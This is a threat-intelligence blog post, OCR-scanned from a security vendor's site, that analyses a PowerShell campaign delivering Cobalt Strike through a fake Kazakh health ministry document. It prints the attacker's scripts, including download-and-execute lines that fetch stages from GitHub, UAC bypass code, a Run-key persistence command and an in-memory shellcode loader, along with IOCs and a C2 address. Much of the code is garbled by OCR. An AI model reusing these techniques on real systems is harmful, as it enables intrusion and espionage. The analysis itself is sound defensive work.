A multi-stage PowerShell based attack targets
Kazakhstan

blog.malwarebytes.com/threat-intelligence/2021/11/a-multi-stage-powershell-based-attack-targets-kazakhstan/

Threat Intelligence Team November 12, 2021

This blog post was authored by Hossein Jazi.

On November 10 we identified a multi-stage PowerShell attack using a document lure
impersonating the Kazakh Ministry of Health Care, leading us to believe it
targets Kazakhstan.

A threat actor under the user name of DangerSklif (perhaps in reference to Moscow’s
emergency_hospital) created a GitHub account and uploaded the first part of the attack on
November 8.

In this blog we will review the different steps the attacker took to fly under the radar with the
intent on deploying Cobalt Strike onto its victims.

Overview

The attack started by distributing a RAR archive named “YBegomnenue.rar” (“Notice.rar”).
The archive file contains a Ink file with the same name pretending to be a PDF document
from “Ministry of Health Care, Republic of Kazakhstan”. Upon opening the Ink file, a PDF file
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will be shown to confuse victims while in the background multiple stages of this attack are
being executed. The decoy document is an amendment for a Covid 19 policy that has been
issued by the Chef State Sanitary of the Republic of Kazakhstan.
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FASAKCTAH PECTIVETHEACKI - MHHHCTEPCTED
JEHCAYVIBIK CAKTAY o (| B 3IPABOOXPAHEHIA
MHHHCTPIITT s PECIIVE/IHEH EAIANCTAH

EAC MEMJIEKETTIK L TIABHBII FOCY IAPCTBEHHEII
CAHHTAPHATBIE, JOPITEPI et CAHHTAPHBII BPAY

EA¥.IBICHL MNOCTAHOBIEHHE
202] mxaares 14 migyesers M3l 14 mroas 2021 roga Nedl_

Hyp-Cyaras kagack ropox Hyp-Cvaras

() EHeCceHNH H3IMeHeHHI 0 JOM0THEHHI B
mocTaHoBRTeHNd [ 1agHOTO
roCyIAPCTESHHOTO CAHNTAPHOTO

epada Pecomyinnkn Kazazcran

B pendx mpenyopeslIeHHA paclpoCTpAHEHHA KOPOHABHpYCHOH HHbEKITHH
COVID-19 (gamee — COVID-19) cpegm HaceneHHA PecnyOamer Kazaxctas, B
COOTBETCTBHH C HOIMYHETOM 7) MyHETA 1 cTatel 38, noamyHETOM 8) IVHKTA 7 CTATEH
104 Kogexca PecoyOomuen Kazaxctas ot 7 mroma 2020 roga «0O 3mopoEke Hapoga B
CHCTEME 3IpPaBOCXpAHEHHR», MOCTAHOBIeHHeM [lpapHTenecTEa PecnyOmEEH
Kazaxcran ot 24 cemraopa 2020 rogma Ne 612 «0OO0 yTIBepEIeHHH NepedHd
3a00IeEaHEH, NpPOTHE KOTOPEIX OPOBOIATCA 00A33TEIBRHEIE NPOJHIAKTHIECKHE
OPHEHBEH B PAMEAX TAPAHTHPOBAHHOTO oDBeMa MeTHITHHCEOH [OMOIIH, DPABHI,
CPOKOB HX [POBEISHHA H IPVIO HACENEHHA, NOIIEEANAX OpodHIaKTHIeCHHM
nprereEaMy [IOCTAHOB.TARD:

1. BrecTH B mocTaHORTeHHe [ TAEHOTO TOCYIAPCTESHHOIO CAHHTAPHOTO Bpada
Pecoryonmuss Kazaxcrta® ot 25 mexadpa 2020 roga Ne 67 «O manpHeAmeM yCHIEHEHH
MEp [0 DOpelIVIOPe#IeHHE 3aD0TeEaHHA KOPOHABHpDYVCHOH HHOewUHed cpeln
HacemeHHT Pecoyvomuke Kazaxcramy (gamee — IITTCB Nef7) clegyromae HIMeHeHHT
H JONOIHEHHA:

1) mogmyexT 1) oyexra 6-1 IITTCE NeG7 H3I0EHTE B CIeOyHMEH peIarilHH:

#l) OTpaHHY9eHHE NOUyCEA HA paboTy B OYHOM peEHEMe IId paboTHHEOE,
HENOTYIHBINHE BalkTHHATHEC OpoTHE COVID-19 (3a HEcEMoTeHHEM JHI, HMEHITHR
MOCTOAHHEIE MeIHITHHCKHE NpPOTHRONOKAZAHHA H nOepebomeemux COVID-19 e
TedeHHe MOCIeTHAEY 3-X MecAlleR) cIeIyIOMMHEY OpTaHHzalHH 00BeETOR:

0DEEKTOE 0 OKA3aHHID YOIYT HACETEHHID (OeHTPEl 0OCTYAHEAHHA HACENEHHA
(JOH=), otaenersa AQ «KaznowTas, DaHKH BTOPOTO YPOBEA, 00BEETE PHHAECOBOTO
PEIHKA, CTPaX0BbIE KOMOAHHH, aleHTCTEA [0 HEIBHKHMOCTH, PEEIaMHEIE ATEHTCTEA,
obMeHHEIE DVHETHEL, JTOMOApOEl, CATOHE KPACOTH], MAPHEMAXEpPCEHE, XHMTHCTEH,
IpavdedEEle, QHTHEC, CHIOPTEOMILIEKCE, CIIOPTHEEO-03I0POBRTENRHEIE HeHTPEL, CI1A
H MAacCAHHEIE CATOHEL'IEHTPELEADHHETEI, 0aHH, cayHEl, OacceHHEH, [ITHH,

D BO7TI021 1939 Ko o svposmong soey seara. Bepo s O30 Docamesnlog 7. 420 Mooyl pewyasmT opospe I
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Attack process

The following figure shows the overall process of this attack. The attack started by executing
the Ink file that calls PowerShell to perform several techniques such as privilege escalation
and persistency through an autorun registry key. We will provide the detailed analysis in the
next section.

Windows 7: using the sysprep.exe
system utility and DLL side-loading

Windows 10: using the
SilentCleanup task in the Task

Scheduler [ m—] I
UAC Bypass >
updater.ps1 CobaltStrike
> = — > —
@ = = — Reg.exe
LNK 3 HKLM\SOFTWAREWlcrosoftWindows\CurrentVersion\Run\GoogleUpdate
ib7.ps1 ib30.ps1 or lib207.ps? emd.bat ib108.ps1

Attrib.exe

"attrib.exe" +h
Decoy: "C\WUsers\Lab\Downloads\YeenomneHme. pdf" "CProgram Files\cu.vbs"

Figure 2: Attack Process

All stages of this attack have been hosted in one Github repository named GoogleUpdate.
This repository was created on November 8th by a user

named DangerSklif. The DangerSklif user was created on GitHub on November 1st.

= G @ github.com/D: GoogleUpdat *

O Why GitHub? -~ Team Enterprise Explore Marketplace Pricing Signin ‘Signup|

& DangerSklif / GoogleUpdate ' Pubiic L Notifications ¥ Ste

¢>Code (D Issues  ]] Pullrequests () Actions [ Projects [ Wiki () Security | Insights

 main ~ ¥ 1branch 0 tags Go to file m About

No description, website, or topics

+» DangerSklif Update lib706.ps1 3de87d3 3daysago )17 commits provided.
[ updater.pst Add files via upload 3 days ago
[ e6af39c6235968b88a3404774ael... Add files via upload 3 days ago Relaasas
. No releases published
O 1ib106.pst Update lib106.ps1 3 days ago
O lib2.pst Update lib2.ps1 3 days ago
Packages
O 1ib207.ps1 Add files via upload 3 days ago
No packages published
O lib30.pst Add files via upload 3 days ago
O 1ib63.pst Add files via upload 3 days ago
Languages
O lib6a.pst Add files via upload 3 days ago
O libZpst Update lib7.ps1 3 days ago ® Powershell 100.0%
O lib706.ps1 Update lib706.ps1 3 days ago
[ pdfi2s.ico Add files via upload 3 days ago

Figure 3: GitHub repository

Analysis
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The embedded Ink file is obfuscated and after de-obfuscation we can see that it
used cmd.exe to call PowerShell to download and execute the first stage of the attack from
the Github account (/ib7.ps1).

solute path: My Computer\C:

-Root folder: GUID Computer

Figure 4: Ink file

The lib7.ps1 downloads the decoy PDF file from the same Github account and stores it in

the Downloads directory. In the next step it opens the decoy PDF to confuse the user while it
performs the rest of process in the background, which includes getting the OS version and
downloading the next stage based on the OS version.

$lwoxheihwic= ™

Sosicheuche="https:

Sishscjsof="htrps://raw.githubusercontent.com/DangerSklif/GoogleUpdate/main/1ib207.psl”

Spath= §env:USERPROFILE + “\Downloads\YVeemomnezue.pdf”
(New-Object System.Net.WebClient).DownloadFile (§lwoxheihwic,§path)
Start-Process -F $path

808Version = (Get-Wmid

ject Win32_CperatingSystem) .Caption

if (§0SVersion -match "7}
i

IE¥ ((new-object net.webclient) .downloadstring($osicheuche))

if (§0SVersion -match "2")

IEX ((new-object net.webclient) .downloadstring(§osicheunche))

if (§0SVersion -match "10")

IEX ((new-object net.webclient).downloadstring(§ishscisof))

Figure 5: lib7.ps1

If the OS version is 7 or 8, it downloads and executes /ib30.ps1 and if the OS version is 10 it
downloads and executes lib207.ps1. The reason the actor is checking the OS version is
because it is trying to execute the right privilege escalation method. These techniques
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previously used by TA505 in their campaign to drop SrvHelper.

Using the SilentCleanup task in the Task Scheduler to bypass UAC in Windows 10:
Attacker used Lib207.ps1 to bypass UAC in Windows 10. The PowerShell commands
used to perform the bypass are XOR encrypted using 0x58 key.

Figure 6: Lib207

After decrypting the commands, we can see the process of UAC bypass which includes
creating a SilentCleanup task in the Task Scheduler that calls PowerShell to execute the
created vbs file with higher privilege.

Set-Content -Path $enwv:temp\can.vbs -Value $VBS file

if((([System.Security.Principal .WindowsIdentity]::GetCurrent()).groups -match "5-1-5-32-544")) {
#Payload goes here
#It'11l run as Administrator
wscript $env:tempican.vbs

} else {
$rag15trypath = "HE
$Mame = "wir "
Set-ItemProperty -Path $registryPath -Name $name -Value " iy I I n.wh:
schtasks frun /ftn \Microsoft\Windows\DiskCleanup\SilentCleanup ,’I | out- l||11
Start=-Sleep =s
|"1—.'.'II-'_J'\-'¥_ll.:—.'.'IIE'L-'_Jj'JZ—_'LI'}" -Path $registryPath -Name $name

}
Start-Sleep -s
Remove-Item -Path $enwv:tempican.vbs

Start-Sleep -s
Figure 7: Lib207 after decryption
Using the sysprep.exe system utility and DLL side-loading to bypass UAC in Windows
7 and 8: Lib30.ps1 is used to execute this bypass. Simliar to 1ib207.ps1 this PowerShell
script is also XOR encrypted but using different key (0x02).

Figure 8: Lib30

Figure 9 shows PowerShell commands after decryption. The process starts by creating a
batch file (cmd.bat) in the “Windows/Temp” directory. In the next step, a cab archive file is
created containing a DLL (CRYPTBASE.dIl for Windows 7 or shcore.dll for Windows 8. Then
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this cab file is extracted into the C:\Windows\System32\Sysprep directory using wusa.exe.

At the end, the sysprep.exe system utility launches which side loads the CRYPTBASE.dII for
Windows 7 or shcore.dll for Windows 8. This DLL executes the created cmd.bat file which
leads to executing it with a high privilege.

if (([IntPtrl::Size) =-eg &)
{

$D11Bytes = $D11Bytes64d
}
elseif (([IntPtr]::3ize) -eq 4)
{

$DllBytes = $5D1lBytes32

}
Out-File =FilePath $PayleoadPath -InputObject $Payload -Encoding ascii

$0SVersion = (Get-WmiObject =-Class win32 OperatingSystem) .BuildNumber
if ($0SVersion =-match "7¢")
{
$dllname = "CHYPTEAS]
$PathToDll = ":

[Byte[]] $temp = $D1l1Bytes -split '
[System.IO.File]::WriteAllBytes ($§PathToDll, S$temp)
}
if ($0SVersion =-match "4&")
{
S$dllname = "=hoon
$PathToDll = ":

[Byte[]l] S5temp = $DllBytes -split '
[System.I0.File]::WriteAllBytes ($PathToDll, $temp)
}
$Target = "
Swusapath = " i
$execpath = "C:\Windows\System3Z\Syspref
$null = & makecab $PathToDll $Target
$null = Start-Process -Windowstyle hidden -F wusa -ArgumentList "5T
Start-3leep =Seconds
Start-Process -Windowstyle hidden -F $execpath
Start-Sleep -5
ve-Item =Path $Target
=Path $PathToDll
=Path $PayloadPath

Figure 9: Lib30 after decryption
After bypassing UAC, in all OS versions the next stage payload is downloaded and executed
(lib106.ps1).

This stage performs the following actions:

o Creates a vbs file (cu.vbs) in ProgramFiles directory and makes this multi-stage attack
persistence by adding this vbs file
to HKLM\Software\Microsoft\Windows\CurrentVersion\Run registry key.

o Makes vbs file hidden using “Attrib.exe +h” command.

o Downloads and executes the final stage (updater.ps1) using PowerShell.
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Elck’ajiax-‘ https:/fraw.githubusercontent . com/Dangeriklif/fGooglelpdate/main/pdater.psl’ |

5VBS_f_ile =

rt-5leep =s
Set=Content =Path §env:Programfiles\cu.vbs =Value SVBS_f_ile
attrib +h “§env:ProgramfFilesiycu.vbs®

lteg add "HEKLM\Software\Microsoft\Windows\CurrentVersion\Run* /v GoogleUpdate ft REG_EXPAND SI fd “%ProgramFiles%‘\cu.vbs" ]

| EX {({new-object net.webcelient) . downloadstring ($dricksjisx)) |

}

Figure 10: lib106.ps1
The final stage (updater.ps1) is executing Cobalt Strike in PowerShell context. In fact this
PowerShell script is PowerShell variant of Cobalt Strike.

IE ([InePEr]zzaiza =g i} {

start=job { pasam{
Sue jadojelgahe ) PR Ty ¥ juk] 1 2oL Pl i AEENCIT L WFEERE § T as T oo jaa ke LAT Oreh PRGGRGRE { FIRTHARN
RV TR T, T pephad W;lmvmmlwmm‘wmmwneulnl.\’:hqstmmnulhomﬂwdwun[ntwﬁrmnawjommg!wm_uwl
kLT VNS00 Lall oaptors el qIOTL SoeeS i Ot Kl ColMies | FTruz Lry yTTH rligsnu it U TROUKENG |t £ Tpa Yl Ly vWDoXdkee00 jeVa s ) Ly i Toprg
et 400 LWy TR qIFIASE NLATGvi 1 EACUDLY DG EXwumiel ™ 1 TELT PR T G T THQED NPT EGug ik
NpT IgohF AN TAOGY: Ar 1 LDDeaxy
B 3 aT0 AT FETg B} k] 1 Eola WSt il lhwuhrm"m] B L LAE (b FHGGHAL S E §FIETHA PR
g S TL eSpephd AP Y G0 LI Tabaie Y S0 o o o ARy ST LY Tedge b V] B4 Line 1] 1t o Jm LI AT
Ll Tai OT1Sercs Lk IhCt NG ColMICS L PTY ek Lay i Uugsan 'anu- MDoNAKE=00 1 8VEERKP ) Ly LT opry
XFTERTT, LEay T qIPIASE NLATGvife 1 HAIC: EXvusivl AL T = Sy T Eougiakk
Xpa TgoRF] AT T POOYTEOSADIAS | ~FanAEld -Argesent
SEYP LS USNUTYH SR T L 20 ML TR Ly LaBLEVT ), LARAGOABING | walt-jeb | Receive-Job
]
alem [
o BLYpFLAaslITH 20ET 1 B0 A TR Lo TobLEV ), LikhgulBine

Figure 11: updater.ps1

The Cobalt Strike ShellCode is base64 encoded and XOR encrypted using 35 key. After
decoding and decrypting the ShellCode it allocates it into memory using VirtualAlloc and
finally execute it by calling Invoke function.
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function func_get_proc_address (
Param ($var_module, $var_procedure)
$var_unsafe_native methods = ([AppDomain] ::Currentbomain.GetAssemblies()
$var_gpa = $var_unsafe_native methods.GetMethod (' 'y [Typell] e

Where-Object 1 s 1ob31}\ssen\.\:lycache -And §_

ocation. SpLLE('\\') (=1 Equals ("Systen.d11') }).GetType('Microsoft. wind2. uns Methods')
)

turn $var_gpa.Invoke ($nall, E([System.Runtime.InteropServices.HandleRef] (New-Object System. Runt ime . HandleRef ( (New-Object IntPtr), (§var_unsafe_native_methods.Getethod (*Cetiodul ciiand e )) . Tnvoke ($null
, @($var_module)))), $var_procedure))
b
function func_get_delegate_type {
Param (
[Parameter (Position = 0)1 [Typell] Svu_paxmetexl,
[Parameter(?cs)t)cn =11 [Type] $va n_type = [Void]
svar type_builder = [AppDomain]::CurrentDomain. Def)nenyuzm)d\ssem‘!ly((}c\;-onj(\"' Systen-Reflect ion.AssemblyName (11 ")), [System.Reflection.Emit.AssemblyBuilderAccess] ::Run) .DefineDynamicModule (
e ule', $false) ,DefineType ('l . . . s ys(em,nulucasmeleqace])

$var_type_builder.Def ineConstructor (' R15p Nam Bysig, Public', [System.Reflection.CallingConventions]:iStandard, $var_parameters). getImplenentetiontlags ('t i
$var_type_builder.DefineMethod (' Tnvoke', ‘b . Bysig, Newslot, 1al', $var_return_type, $var_parameters).SetImplementationFlags ('funtime, Har 9
return Svar tvpe builder.Createlype()

[Byte(]1$sc = [System.Convert]
"bnlx? KeE

FGOJWJahQK3TIREOGIYMRR

13L2Mh 1KEYOTPRMKEZg TGRNBE04T RIaEr6 SgBKQEPOSANELERSE

X MTMxP3E/ KTxRPMEYESYhJuErn
i t 5eEB1 UHZE F 3
% IVENMSdx I TER

L ATl TMA Tl
($byte = 1; $byte -1t $sc.Count; Sbyte++) (
ssclsbyte] = Ssc!abyzej -bxor

$virtualalloe [System.Runtime.InteropServices.Marshall : :GetDelegateForFunctionPointer ((funcl kernel32.d11 VirtualAlloe), (func2 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
Sbuffer = $virtualalloc.lnvoke([IntPtr]::Zero, $sc.length, (x3000, (x40)

[System.Runtime . InteropServices.Marshal]

opy($se, O, sbuffer, $sc.length)

$var_exec = [System.Runtime. .Marshal] : :GetDel orFunctionPointer($buffer, (func2 @([IntPtrl) ([Void])))

$var_exec.Invoke([IntPtr]::Zero)

Figure 12: Updater.ps1 after de-obfuscation

Kazakhstan in the news

Kazakhstan has been in the news recently for taking over China in the cryptomining industry,
depleting_its own electric resources. The energy-rich country is a very important ally for
Russia in particular with lucrative joint oil and gas ventures.

Other than their GitHub profile, we do not have much information on the threat actor or their
exact intention with this attack. However, monitoring and espionage are a likely motive.

Malwarebytes users were protected thanks to the Anti-Exploit layer of our product.
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Virusscan Comment  Protect

+ m Yeegomnennerar - RAR archive, unpacked size 3,815 bytes

.

Mame Size Packed Type Medified CRC32
[ 1. File folder
D ¥eepomnenuep.. 3,815 1,258 Shortcut 117872021 10:7...  D12CEDT

@ Exploit automatically blocked

Affected application: winrar
Protection layer: Application Behavior Protecti...
Protection technigue: Exploit payload process block...

I0Cs

Yeegomnenue.pdf.Ink:
574a33ee07e434042bdd1f59fc89120cb7147a1e20b1b3d39465cd6949ba7d99
YBegomnenwue.rar:
d0f3c838bb6805¢c8a360e7b1f28724e73e7504f52147bbbb06551f91f0df3edb
Updater.ps1:
08f096134ac92655220d9ad7137e35d3b3¢c559359¢c238e034ec7b4f33a246d61
lib106.ps1:
81631df5d27761384a99¢c1f85760ea7fe47acc49ef81003707bb8c4cbf6afdbe
lib2.ps1:
912434caec48694b4c53a7f83db5f0b44b84ea79be57d460d83f21181ef1acbb
lib207.ps1:
893f6cac7bc1alc3ee72d5f3e6994e€902b5af044f401082146a486a0057697e5
lib30.ps1:
11d6b0b76d057ac9db775d9a1bb14da2ed9acef325060d0452627d9391bedea2
lib63.ps1:
8f974d8d0741fd1ec9496857d7aabbe0d3ba4d2e52cc311c76c28396edae9eb9
lib64.ps1:
301194613cbc11430d67acf7702fd15ec40ee0f9be348cf8a33915809b65bc5e
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lib7.ps1:
026fcb13e9a4eabc1eab73c892118a96731b868a1269f348a14a5087713dd9e5
lib706.ps1:
36aba78e63825ab47c1421f71ca02422c86¢774ba525959f42b8e565a808a7d4
C2:

188.165.148.241
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